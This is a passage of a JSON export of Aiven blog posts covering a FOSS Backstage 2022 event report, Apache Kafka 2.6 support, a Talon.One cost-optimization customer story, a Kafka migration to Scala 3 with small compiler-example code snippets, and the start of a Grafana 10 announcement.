licensing exposure, choose projects with less restrictive licenses, and continue to monitor your dependencies for changes that have implications for your tech stack. \n\nMs. Danese Cooper in her talk “[Frenemies in FOSS: How to deal with Charter Conflicts and competing efforts](https://pretalx.com/foss-backstage-2022/talk/97ZFKE/ \"Link to the session about how to deal with Charter Conflicts\")” brought some excellent points around forking a project, and how to deal with a so-called hostile fork. \n\n## Contributor Experience\nContributors are the stars of an open source project. Here at Aiven, we’re very strong advocates for supporting open source contributors, [their mental health](https://aiven.io/blog/staying-sane-in-open-source \"Link to the blog post about contributor's mental health\"), accessibility needs, etc. We were happy to hear a lot of great ideas and conversations around this topic. One of the sessions by Ruth Cheesly (Acquia) even called for [making this the year of the contributor experience](https://pretalx.com/foss-backstage-2022/talk/PCFLPB/ \"Link to the session\")! \n\n### Ways to support contributors\nFirstly, think of the fundamentals: safety \u0026 inclusion, supporting the contributors in a positive way, and dealing with inappropriate behavior quickly and decisively. \n\nSecondly, source contributions don’t just include code: pull requests, answering questions on forums and chats, written content, docs, events, onboarding - these are all examples of contributions, and OS communities should strive to recognise them as such. \n\nFinally, think of how to “fix the leaks” in your OS community by clearly documenting ways for people to contribute, onboarding new members, highlighting specific open tasks in newsletters/message boards, and regularly reaching out to contributors for feedback.\n\nIf you need more practical advice for keeping your contributors happy, Jim Hall of Hallmentum [shared how they’ve engaged with the FreeDOS community](https://pretalx.com/foss-backstage-2022/talk/B3E9UU/ \"Link to the session\"), which has been running the project for almost three(!) decades. Spoiler: if you want your project to grow, make your community members feel like they’re part of it. That means you need to communicate to coordinate, make it easy for new people to contribute, and make your community inclusive to non-code contributions as well.\n\n### The impact of accessibility\nMaking your contributor experience a smooth one also depends on how accessible your project is, including its documentation. Writing accessible documentation is no easy task, and luckily, [Alexandra White from Google shared some of the best practices](https://pretalx.com/foss-backstage-2022/talk/DRNZPD/ \"Link to the docs accessibility session\"):\n\n- Make sure your docs are written in inclusive language with the vocabulary that avoids stereotyping and is free from descriptors that are discriminatory or otherwise excluding.\n- Check for colloquialisms, slang, or mental health language. \n- Write clear and more specific instructions: the more details, the better. For example, don’t forget to include simple things like checking if they’re using the right browser, log in instructions, etc. \n- Reduce visual cues (colors, patterns, images, font styles, directional words). \n\nWith talks by Chief Strategic Solutions at the United Nations Office of Information and Telecommunication Technology Maurizio Gazzola, and Ingo Hinterding, Public Tech Lead at the CityLAB Berlin, it’s clear that FOSS becomes even more of a commodity in government and public administration as well. \n\n*Session recordings will be made available on [the Plain Schwartz YouTube channel](https://www.youtube.com/c/PlainSchwarzUG/featured \"Link to the YouTube Channel\") shortly. Keep an eye out for updates by following [FOSS Backstage’s Twitter account](https://twitter.com/fossbckstg \"Link to the Twitter account\").*\n\n*Read more about Aiven and the [open source community](https://aiven.io/open-source \"Link to Aiven Open Source\")*","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-80b7c3577a40d2db5457f8987d5cb655eb9597a9-1567x844-png","_type":"reference"}},"publishedAt":"2022-04-07T00:00:00.000Z","seo":{"metaDescription":"Read our insights from FOSS Backstage 2022, where experts discussed current open source trends and innovations. Stay informed with the Aiven blog!","metaImage":{"alt":"","asset":{"_ref":"image-80b7c3577a40d2db5457f8987d5cb655eb9597a9-1567x844-png","_type":"reference"}},"metaTitle":"The State of Open Source: A FOSS Backstage 2022 Event Report"},"slug":{"_type":"slug","current":"/blog/the-state-of-open-source-a-foss-backstage-2022-event-report"},"subtitle":"Learn about the current open source trends discussed at this year's FOSS Backstage. ","title":"The State of Open Source: A FOSS Backstage 2022 Event Report"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"6P0tkfJuuLqI9KHhXcE45X","_rev":"T130WEs22RB6SoEkOC74Lu","_type":"post","_updatedAt":"2024-11-19T11:47:01Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"We’re excited to announce that Apache Kafka 2.6 is fully supported as a managed service on the Aiven platform. In typical Aiven fashion, we were able to make it available to our user base on August 13th — around one week from its release. Apologies for the latency of the blog post!\n\nApache Kafka 2.6 comes with a number of enhancements across the board, from its core to Kafka Connect and Streams; but, they all boil down to the same essence: making it easier to operate Kafka and its components at scale. Let’s dive into the more interesting highlights.\n\n## Apache Kafka 2.6 highlights\n\n### Kafka Core KIPs\n[KIP-568](https://cwiki.apache.org/confluence/display/KAFKA/KIP-568%3A+Explicit+rebalance+triggering+on+the+Consumer \"apache kafka 2.6 kip 568 documentation\") __— explicit rebalance triggering on the consumer__\n\nGenerally consumer group rebalances are something that are typically abstracted away from the user and automatically handled as part of the group’s core functionality; but, there are cases when you may want your consumer app to be able to trigger a rebalance. Interestingly, this functionality is key to KIP-441 (discussed below) that makes scaling Streams apps friendlier.\n\n### Kafka Connect KIPs\n[KIP-610](https://cwiki.apache.org/confluence/display/KAFKA/KIP-610%3A+Error+Reporting+in+Sink+Connectors \"apache kafka 2.6 kip 610 documentation\") __— Error reporting in Sink connectors__\n\nPreviously, Kafka Connect’s Dead Letter Queue (DLQ) functionality only supported error reporting within contexts of the transform operation, and key, value, and header converter operation. This KIP extends that functionality across the entire chain, thereby allowing sink connectors to report individual records as problematic and sending them to the DLQ.\n\n[KIP-585](https://cwiki.apache.org/confluence/display/KAFKA/KIP-585%3A+Filter+and+Conditional+SMTs \"apache kafka 2.6 kip 585 documentation\") __— filter and conditional SMTs__\n\nIn a nutshell, this KIP enhances the sophistication of Kafka Connect’s Single Message Transformation (SMT) functionality. Should the use case call for it, users can now selectively apply SMT to specific record types using predicates. Here are three default predicates:\n\n- TopicNameMatches — used to apply an SMT based on topic names\n- HasHeaderKey — used to apply an SMT when a record has a specific header\n- RecordIsTombstone — used to apply an SMT based on whether a record is a tombstone\n\n[KIP-158](https://cwiki.apache.org/confluence/display/KAFKA/KIP-158%3A+Kafka+Connect+should+allow+source+connectors+to+set+topic-specific+settings+for+new+topics \"apache kafka 2.6 kip 158 documentation\") __— kafka connect should allow source connectors to set topic-specific setting for new topics__\n\nThis KIP allows users to configure Kafka Connect clusters so that they can handle topic creation for source connectors, instead of relying on users creating them manually, which presents scaling issues, or on brokers to create them, which presents a number of potential errors.\n\n### Kafka Streams key KIPs\n[KIP-447](https://cwiki.apache.org/confluence/display/KAFKA/KIP-447%3A+Producer+scalability+for+exactly+once+semantics \"apache kafka 2.6 kip 447 documentation\") __— producer scalability with exactly once semantics (EOS)__\n\nExactly once semantics (EOS) provides transactional message processing guarantees, but sometimes there is a semantic mismatch between consumers in a group and transactional producers primarily due to how each component handles partition assignment. Architecturally, the way in which the producers handled this mismatch didn’t scale well. This KIP rectifies this mismatch and reworks the design to handle a larger number of input partitions more gracefully.\n\n[KIP-441](https://cwiki.apache.org/confluence/display/KAFKA/KIP-441%3A+Smooth+Scaling+Out+for+Kafka+Streams \"apache kafka 2.6 kip 441 documentation\") __— Smooth scale-out__\n\nThis is a biggie when it comes to scaling out your Steams Application because it now allows the prior owner of a stateful task to maintain ownership until the new owner catches up. Ownership will then be transferred once complete, allowing for processing during the scale-out process.\n\n## Wrapping up\nThe aforementioned are only the tip of the iceberg. For this release, there were dozens enhancements, whether new features, improvements, or bug fixes. You can [check out the Apache Kafka 2.6 release notes](https://home.apache.org/~rhauch/kafka-2.6.0-rc0/RELEASE_NOTES.html \"apache kafka 2.6 release notes\") to dive even deeper into what this release offers.\n\nFor those of you who want to try managed Kafka 2.6, you can either launch a brand new cluster or conduct a [no-downtime upgrade to the latest version](https://help.aiven.io/en/articles/1529490-kafka-cluster-upgrades \"article detailing how to upgrade an aiven for apache kafka cluster with no downtime\"). In the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml \"aiven changelog rss feed\") and [blog](https://aiven.io/blog/feed.xml \"blog rss feed\") RSS feeds or our [Twitter](https://twitter.com/aiven_io \"aiven twitter profile link\") account to stay up-to-date.\n\n\n## Further reading\n\n- [Aiven statement on kafka license](https://aiven.io/blog/aiven-statement-on-kafka-license)\n- [Aiven supports Apache Kafka® 2.8](https://aiven.io/blog/aiven-supports-apache-kafka-2-8)\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-fc92a2b15c253724ec0b2e21fb595d8d510e6d3f-1200x646-jpg","_type":"reference"}},"publishedAt":"2020-08-19T00:00:00.000Z","seo":{"metaDescription":"Apache Kafka 2.6 is now fully supported as a managed service on the Aiven platform and comes with a number of improvements. Find out more in our blog!","metaImage":{"alt":"","asset":{"_ref":"image-fc92a2b15c253724ec0b2e21fb595d8d510e6d3f-1200x646-jpg","_type":"reference"}},"metaTitle":"Aiven supports Apache Kafka® 2.6"},"slug":{"_type":"slug","current":"/blog/aiven-supports-apache-kafka-2-6"},"subtitle":"Apache Kafka 2.6 is now available as a managed service on Aiven. Read on to find out more.","title":"Aiven supports Apache Kafka® 2.6"}
{"__i18n_lang":"en","_createdAt":"2023-07-05T11:18:21Z","_id":"09984051-2fbb-4356-83b1-4a439dc158bb","_rev":"YN8truRCqnchJPC7UzUyFj","_type":"post","_updatedAt":"2024-11-25T14:00:07Z","authors":[{"_key":"a9bb6c49a932","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"The shift to cloud computing has been one of the most significant tech trends of recent years. Moving to the cloud can bring businesses many advantages including increased agility, efficiency and security as well as the potential for innovation. Rapid scalability is another major advantage but, without the necessary controls in place, this can also lead to a rapid increase in costs. That’s why organizations today need to find ways to [maximize cloud usage and efficiency.](https://aiven.io/blog/optimizing-cloud-infrastructure-costs)\n \nIn a recent webinar hosted by [C2C](https://youtu.be/8i9BluzXJ5A), the Google Cloud Customer Community, [Talon.One](https://www.talon.one/) shared insights into how the company has optimized its cloud costs while reaping the many benefits of moving to the cloud.\n\nLaunched in 2015, Talon.One has grown into the leading [enterprise-grade promotion and loyalty solution](https://www.talon.one/promotion-engine) helping brands like Adidas, Afterpay and Carlsberg scale their incentive campaigns. Data is at the center of Talon.One’s powerful promotion engine, therefore monitoring the cost of data-related resources is key to ensure both performance and profitability. \n\nToday that responsibility lies with Yotam Cohen, DevOps Team Lead. Cohen oversees Talon.One’s software development and deployment processes as well as maintaining the company’s infrastructure. “When the business started, very quickly the decision was taken to use open source PostgreSQL® as a managed service from Aiven, running on Google Cloud. Since then, Aiven has been a big part of our product. It’s been instrumental in our success and in controlling our costs as we’ve grown,” says Cohen.\n\n## Standardized plans help optimize customer environments\nEach Talon.One customer has its own PostgreSQL server to guarantee security, compliance and availability. Talon.One runs more than 250 databases at any given time, totaling more than 17 terabytes in size. Aiven offers a large selection of PostgreSQL plans with standardized configurations of compute, memory and storage. This enables Talon.One to select the plan with the optimal resources for each customer’s unique requirements. With hundreds of customers, these incremental savings add up to a significant reduction in the cloud resource that Talon.One has to pay for.\n\nAiven has taken this one step further and created additional, customized plans to satisfy Talon.One’s needs. “The latest cost optimization exercise has reduced our PostgreSQL cost by a third, which is huge for us,” says Cohen.\n\n\u003e  “The latest cost optimization exercise has reduced our PostgreSQL cost by a third, which is huge for us,”\n\n## Scaling down as important as scaling up\nAiven for PostgreSQL® also enables Talon.One to cost-efficiently scale the databases up and down as required. “Every vendor gives you the ability to scale up performance and resources when you need them—it brings them more money after all—but scaling down can be hard when the database is already there,” says Cohen. “With Aiven, if we have a large and predictable increase in volume, we simply expand the plan and then bring it down again when everything is back to normal. It’s a refreshing approach that saves us money.”\n\nTalon.One is also using Aiven for Apache Kafka® to minimize data pipeline costs. As the business grew, so did the amount of data ingestion, and costs began to soar. “Most companies charge you by volume so things can get out of hand quickly,” says Cohen. “By switching to Aiven for Apache Kafka, we’ve got costs under control. We have a fixed price per month per Apache Kafka® cluster which means, not only have we cut costs, the costs are predictable and will remain so as we continue to expand.”\n\n\u003e “By switching to Aiven for Apache Kafka, we’ve got costs under control. We have a fixed price per month per Apache Kafka® cluster which means, not only have we cut costs, the costs are predictable and will remain so as we continue to expand.”\n\n## Optimizing Google Cloud costs\nWith customers spread across the globe, Talon.One has to consider where its resources are located to ensure its customers get the best experience possible. For example, by using the various geographical regions offered by Google Cloud, Talon.One can locate cloud resources close to its customers. It also has eight instances of Aiven for Apache Kafka to enable the company to segment customers by geography and, in addition to having a dedicated PostgreSQL server, each customer is allocated to a regional Kafka cluster.\n\nOptimizing Google Cloud costs is a key part of the organization’s cloud cost management strategy. “Google Cloud has a great dashboard for billings which provides an aggregated view across many projects. If you label your infrastructure properly, you can break down the costs really well and find opportunities for cost optimization. We are very happy that Aiven services are hosted on Google—it helps us keep on top of our cloud costs,” says Cohen.\n\nHaving PostgreSQL and Kafka managed by Aiven is another way for Talon.One to optimize resources. “We’d need at least two or three full time employees to do the work that Aiven does but we wouldn’t have the same quality of service,” says Cohen. “We take it for granted that everything runs seamlessly with Aiven. Upgrades take place with no interruptions. We touch PostgreSQL maybe once a month.”\n\n\u003e “We’d need at least two or three full time employees to do the work that Aiven does but we wouldn’t have the same quality of service,” says Cohen. “We take it for granted that everything runs seamlessly with Aiven. Upgrades take place with no interruptions. We touch PostgreSQL maybe once a month.”\n\n## Seamless integration avoids more costs\nWhen onboarding new tools, Cohen’s team invests money, time and effort in researching how to integrate them with the existing ecosystem. For Talon.One, this additional cost is avoided with Aiven. For example, when the team started using Aiven for Apache Kafka Connect and Aiven for ClickHouse®, the new technologies integrated seamlessly with PostgreSQL and Kafka. \n\nLooking to the future, Cohen anticipates more growth, particularly as the company increasingly attracts larger enterprises. “We’re becoming even more data-oriented which means more data ingestion and more analytics. Visibility into, and management of, data costs will remain very important. Aiven is our go-to partner for anything data related and will remain key to our cost optimization efforts as we journey into the future,” Cohen concludes.\n\n::youtube[Optimizing Cloud Infrastructure: Talon.One's 250 Databases and One-Third Cost Reduction]{#5QGcsHkUuwI}\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1317b4d85a0a","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"yvkqRSBe6LC3RTgyKXyOf","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-466a46ec15fa90292cf37b2de10f5efef8e0c043-3295x1724-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Talon.One Optimizes Cloud Infrastructure Costs","asset":{"_ref":"image-466a46ec15fa90292cf37b2de10f5efef8e0c043-3295x1724-png","_type":"reference"}},"publishedAt":"2023-07-05T10:56:00.000Z","related":[{"_key":"8bf0dbfaf4f4","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"2d8da1ee7597","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"178d2b69d553","_ref":"1fa5e66f-b5e1-4c65-9eef-5802e2153f86","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Discover how Aiven supports Talon.One with its managed services, boosting efficiency and saving costs. Find out more about the cooperation in our blog!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-29837dbb79cfab97a30e4cdd028722e2a6bb2980-3295x1724-png","_type":"reference"}},"metaTitle":"Talon.One Optimizes Cloud Infrastructure Costs"},"slug":{"_type":"slug","current":"/blog/talon-one-optimizes-cloud-infrastructure-costs"},"subtitle":"With Aiven at the heart of its data platform, Talon.One enjoys significant cost efficiencies","title":"Talon.One Optimizes Cloud Infrastructure Costs"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"5SzOZmq5gPtqQPiBw6ul87","_rev":"h4ancfFTuSnQNBSq3JJII8","_type":"post","_updatedAt":"2024-11-19T11:52:52Z","authors":[{"_key":"6kbIS9XcSGAirsTtwXqhdf","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"Apache Kafka is a distributed event streaming platform, and it's open source. Today's post isn't about the cool things you can do with it. This time we talk about Kafka's internals. Specifically, we discuss one of the latest tasks being done at Aiven's Open Source Program Office: migration of Apache Kafka to Scala 3.\n\n## What is Scala?\n\n[Scala](https://scala-lang.org/) is a [strong statically typed](https://en.wikipedia.org/wiki/Type_system#STATIC) programming language that combines the [object-oriented](https://en.wikipedia.org/wiki/Object-oriented_programming) and [functional programming](https://en.wikipedia.org/wiki/Functional_programming) paradigms.\n\nScala code can be compiled to run on the [JVM](https://en.wikipedia.org/wiki/Java_virtual_machine), [JavaScript engines](https://en.wikipedia.org/wiki/JavaScript_engine), or even the [LLVM](https://en.wikipedia.org/wiki/LLVM) compiler.\n\n### Particularities of Scala\n\nScala has been known to suffer from cumbersome migrations between major versions (for example from `2.12` to `2.13`), as the bytecode generated between them is not even meant to be compatible. This means that for a Scala project to be migrated to a new major version, all the dependencies need to be migrated first, creating massive delays in bigger projects. However, this changed drastically with Scala 3 as the compiler can now read dependency files compiled for Scala `2.13`[1](#footnote-1).\n\n## How are Apache Kafka and Scala related?\n\nIf you're not familiar with Apache Kafka internal code, you might wonder what Scala and Kafka have to do with each other. The answer is quite simple: Kafka is written in Java and Scala. However, the percentage of Scala code in Kafka's codebase is decreasing version by version, going from roughly 50% in Apache Kafka 0.7, to the current 23%[2](#footnote-2). As of Apache 3.1.0, the largest and most important module written in Scala is the `core` one, which as its name indicates is Kafka's heart'. The other module written in Scala is a Scala API module for Kafka Streams.\nKafka, however, is not using most of the _de-facto_ standard tools in Scala (build tool, testing libraries...). Also one might argue that the Scala code written in Kafka is not written in the one of the widely accepted idiomatic ways.\n\n## Why update to Scala 3?\n\nAs with many libraries and many other languages, once a version is too old it will stop receiving updates. This means any new vulnerability discovered won't be fixed or there will be no new improvements added to that version. Scala is no exception. That's why migrating to Scala 3 is a way to keep up with security updates and upcoming features and performance improvements.\n\nAdditionally, by migrating to Scala 3, we would make the work easier for anybody depending on any Kafka artifact compiled with Scala.\n\n## Migrating to Scala 3\n\nDuring the proof of concept to check the feasibility of the Scala 3 migration, we encountered several problems. These were in different parts of the ecosystem: the build tool, the bytecode generation, and the Java interoperability. We will describe each of those points with further detail.\n\n### Gradle enhancement\n\nWhen facing the task of migrating to Scala 3, the first problem we encountered was that the build tool used by Kafka, [Gradle](https://gradle.org/), didn't support Scala 3 yet. There was already an feature request in Gradle's ticketing system but it was not being worked on, just waiting for somebody from the community to step in.\n\nWe approached the [Scala Center](https://scala.epfl.ch/)[3](#footnote-3) asking if the Gradle support was something they would have bandwidth to contribute to. One of its members, Tomasz Godzik from [Virtus Lab](https://virtuslab.com/), very well known in the Scala community for their work on different build tools and IDE support, showed interest in this task and contributed Scala 3 support to Gradle. We are really thankful to Tomasz for contributing this feature!\n\n### The migration itself (Syntax)\n\nOnce support for Scala 3 was available (as a nightly build) in Gradle, we could really start with the migration. The vast majority of the problems found were related on how Kafka's Scala code was written, using some features or capabilities that are now discouraged.\n\n#### Too many parentheses\n\nScala allows you to define methods that take no parameters as parenthesis-less methods. In Scala 2, such methods could be called with or without parenthesis. In Scala 3 though, under some special circumstances, the compiler is not able to properly assume the parenthesis belong to a parenthesis-less method and tries to apply it to the result. This does not apply to all instances where a method without parenthesis is called with them, only to certain ones.\n\nHere you can see an example with only the relevant parts showcased:\n\nGiven:\n\n```scala\nclass KafkaConfig private(doLog: Boolean, val props: java.util.Map[_, _], dynamicConfigOverride: Option[DynamicBrokerConfig])\n  extends AbstractConfig(KafkaConfig.configDef, props, doLog) with Logging {\n  ...\n  override def originals: util.Map[String, AnyRef] =\n    if (this eq currentConfig) super.originals else currentConfig.originals\n  ...\n}\n```\n\nWhere `AbstractConfig` is the following Java class:\n\n```java\npublic class AbstractConfig {\n  ...\n    public Map\u003cString, Object\u003e originals() {\n        Map\u003cString, Object\u003e copy = new RecordingMap\u003c\u003e();\n        copy.putAll(originals);\n        return copy;\n    }\n  ...\n}\n```\n\nThe following code compiles in Scala 2 but not in Scala 3.\n\n```scala\nclass ReplicaManager(val config: KafkaConfig,\n  ...\n  ) {\n  ...\n  protected def createReplicaSelector(): Option[ReplicaSelector] = {\n    config.replicaSelectorClassName.map { className =\u003e\n      val tmpReplicaSelector: ReplicaSelector = CoreUtils.createObject[ReplicaSelector](className)\n      tmpReplicaSelector.configure(config.originals())\n      tmpReplicaSelector\n    }\n  }\n  ...\n}\n```\n\nThe error comes from the Scala 3 compiler assuming the extra parenthesis in the `originals` call refer to the return type which happens to be a `Map`. Calling `()` on an object in Scala is translated to `apply()`. This method doesn't exist, resulting in a compiler error.\nScala 2 was either smart enough or forgiving enough to guess that the extra parenthesis referred to the method `originals`.\n\n#### Shadowing\n\nShadowing refers to a circumstance where declaring a name that previously existed in a given scope renders the previous name invisible.\n\nScala 2 let developers shadow previously defined names in the scope, but Scala 3 became more strict in that area and considers it a double definition. One generic example can be seen here:\n\n```scala\nclass Shadow (shadowedName: String) {\n\n  def shadowedName(): String = shadowedName\n\n}\n```\n\n### Too many automatic conversions\n\nThe following code works on Scala 2 but fails to compile on Scala 3.\n\n```scala\nclass TooManyImplicitsAtOnce () {\n\n  val shortNumber1: Short = 1\n  val shortNumber2: Short = 4\n\n  val range = shortNumber1 to shortNumber2\n\n}\n```\n\nThe reason is that Scala 3 seems less prone than Scala 2 to apply several implicit conversions or extension methods in a row. Note that Scala 3 got a bit of an overhaul in how implicits work[^4]. What happened in Scala 2 was the following: the `Short` provided was automatically widen to an `Int`, because the method `to` is not present, and the compiler is looking for possible implicit conversions in scope to satisfy the compilation. Scala 2 founds a conversion that wraps an `Int` to a `RichInt` which offers the convenience of the `to` method.\n\n### Problems with bytecode generation\n\nOne of the historical weak points for Scala was the usage of Scala code from Java. Lots of improvements happened in this area during the last years and Scala `2.13` managed to have an excellent Scala accessibility from within Java code. However, some of those improvements seem to have been lost while Scala 3 was developed (remember it was developed in parallel with Scala 2).\n\nIn the vast majority of the cases, a work-around was possible and only minimal changes in the Java code were needed to successfully migrate the codebase. The nature of those problems are deeply technical and probably worth of a separate blog post.\n\nOne of the main reasons why those bugs were discovered now and not during the development of Scala 3 is that any new Scala version is tested against a corpus of projects which are almost completely written in Scala. This means that the Quality Assurance tests for new Scala releases might overlook some aspects like the Scala to Java interoperability. Most of the Open Source projects in Scala are either completely written in Scala or only a thin API layer is written in Java to offer a good usability for Java clients.\n\nApache Kafka is undoubtedly the biggest project whose code is mostly written in Java to have attempted migration to Scala 3. This means Kafka has a lot of Java code using Scala code and this rely on deep internals of how Scala's bytecode is generated.\n\nThanks to this task of evaluating the migration to Scala 3 we managed to discover several usability problems that are (or will be) fixed in Scala 3 future versions.\n\n## Find out more\n\nIf you want to see in deeper detail what the migration involved you can take a look at this draft PR were all the discoveries are documented: [PR-11350](https://github.com/apache/kafka/pull/11350). Also you can read the [thread](https://lists.apache.org/x/thread.html/r4ee305bef0e65e1352c358016eb4055b323b7f12df13c16b124aa5f1@%3Cdev.kafka.apache.org%3E) in the mailing list discussing this migration.\n\nThe Aiven blog also has lots of [Apache Kafka related content](https://aiven.io/blog/category/kafka \"Posts about Apache Kafka | Aiven blog\").\n\n*Footnotes*\n\n[1]: Any artifact compiled with Scala `2.13.4` would be able to be consumed by the Scala 3 compiler.\n\n[2]: As of Apache Kafka `3.1.0`.\n\n[3]: Scala Center is the non-profit organization that works on Scala tooling as well as education content for Scala.\n\n[4]: You can read more [here](https://www.scala-lang.org/2020/11/06/explicit-term-inference-in-scala-3.html)\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-44d544900cfe534176c5562dd451f2a86e0bd04b-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-07T00:00:00.000Z","seo":{"metaDescription":"Aiven has managed to migrate Apache Kafka to Scala 3. Find out more about the challenges, benefits, and what this means for developers in our blog!","metaImage":{"alt":"","asset":{"_ref":"image-44d544900cfe534176c5562dd451f2a86e0bd04b-1567x844-png","_type":"reference"}},"metaTitle":"Preparing Apache Kafka® for Scala 3"},"slug":{"_type":"slug","current":"/blog/preparing-apache-kafka-for-scala-3"},"subtitle":"Aiven's OSPO is dealing with migration of Apache Kafka to Scala 3. Find out how they managed!","title":"Preparing Apache Kafka® for Scala 3"}
{"__i18n_lang":"en","_createdAt":"2023-09-19T21:43:42Z","_id":"853625dc-d8f4-4238-ba30-fbacb05fab6c","_rev":"T130WEs22RB6SoEkOC84Ec","_type":"post","_updatedAt":"2024-11-19T11:56:34Z","authors":[{"_key":"f7c50014877e","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"For an organization to have trust in their monitoring solution, it’s imperative to be able to contextualize the information it provides. Has a particular alert caused problems before? How can a user’s experience be tracked across dozens of interconnected services? The latest version of Aiven for Grafana® makes answering these questions easier than ever with an upgrade to Grafana® 10.\n\n## Upgrade process \u0026 breaking changes\n\nExisting Aiven for Grafana instances will be automatically upgraded to Grafana 10 during the next scheduled maintenance window automatically. Customers who would like to get started sooner can apply the maintenance update manually via their Aiven console.\n\nAiven thoroughly tests our upgrade process and packaged plugins to ensure a smooth transition. A thorough list of [deprecations and breaking changes](https://grafana.com/docs/grafana/latest/breaking-changes/breaking-changes-v10-0/) can be found in the Grafana docs.\n\n## New and noteworthy in Grafana 10\n\nBelow, I’ve collected some exciting highlights from this release. For a full list of updates and public previews, see [What’s new in Grafana v10.0](https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v10-0) in Grafana’s documentation. \n\n### Custom content of all sizes\n\nWith the release of Grafana 10, the [canvas panel](https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/canvas/) has been promoted into general availability. This new panel combines the power of Grafana with the flexibility of UI and web design tools to help you build dynamic visualizations custom tailored to whatever’s most important to your organization. For detailed run-down of the canvas panel’s evolution, complete with a collection of illustrative demos, be sure to check out [this blog post](https://grafana.com/blog/2023/05/11/use-canvas-panels-to-customize-visualizations-in-grafana/) from Grafana’s engineering team.\n\n![Grafana canvas home solar energy demo screenshot](https://cdn.sanity.io/images/sczeoy4w/production/e0a34bfd5da9990bade741640765ea43a970784b-1631x606.png?w=450)\n\nNot all customization needs to be quite so elaborate. Sometimes, all you need is a little extra context in your charts and graphs. With [time region support](https://grafana.com/docs/grafana/latest/dashboards/build-dashboards/annotate-visualizations/#add-time-regions), you can define specific time ranges (e.g. “business hours”, “maintenance window”) as annotations for your time series data. This ensures you can quickly identify relevant data within a known time window at a glance.\n\n### More ways to add and compare data \n\nCustom graphs and dashboards won’t go very far without data for them to visualize. To make loading data into Grafana even easier, the data source picker has been streamlined. Recently used content is easier to find, and labels and supplementary descriptions have been added to make adding new data sources a snap.\n\nSpeaking of data sources, the Azure Monitor data source has been updated with support for visualizing Application Insights Traces. A corresponding “traces” query type has been added to the [query editor](https://grafana.com/docs/grafana/next/datasources/azure-monitor/query-editor/#query-application-insights-traces) to facilitate querying Application Insights Traces.\n\nThis release also introduces a data plane layer, wherein schemas have been defined for a variety of data types. This helps ensure improved reliability and interoperability across the platform. Each data type consists of a combination of a “kind” (e.g. TimeSeries) and a “format” (e.g. Wide). The full list of data types can be found in Grafana’s [data plane contract](https://grafana.com/developers/dataplane/).\n\n## Next Steps\n\nThis is all just a sampling of the new features and previews available in Grafana 10. You can find a full list of [what’s new](https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v10-0/), as well as [breaking changes](https://grafana.com/docs/grafana/latest/breaking-changes/breaking-changes-v10-0/) in the Grafana docs.\n\nNot using Aiven for Grafana yet? Now’s a great time to start! Check out the [Aiven for Grafana product page](https://aiven.io/grafana) for more information.\n","mainImage":{"_type":"mainImage","asset":{"_ref":"image-3e51e54285ee17e1911b3d70e86738291abe8c15-1200x628-png","_type":"reference"}},"publishedAt":"2023-09-20T13:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Grafana® 10 lets you customize and contextualize your data like never before. Learn all about it in the Aiven blog and get started today!"},"slug":{"_type":"slug","current":"/blog/customize-and-contextualize-your-data-with-grafana-10"},"subtitle":"Aiven for Grafana® is now powered by Grafana® 10. Learn what’s new and how to get started today.","title":"Customize and contextualize your data with Grafana® 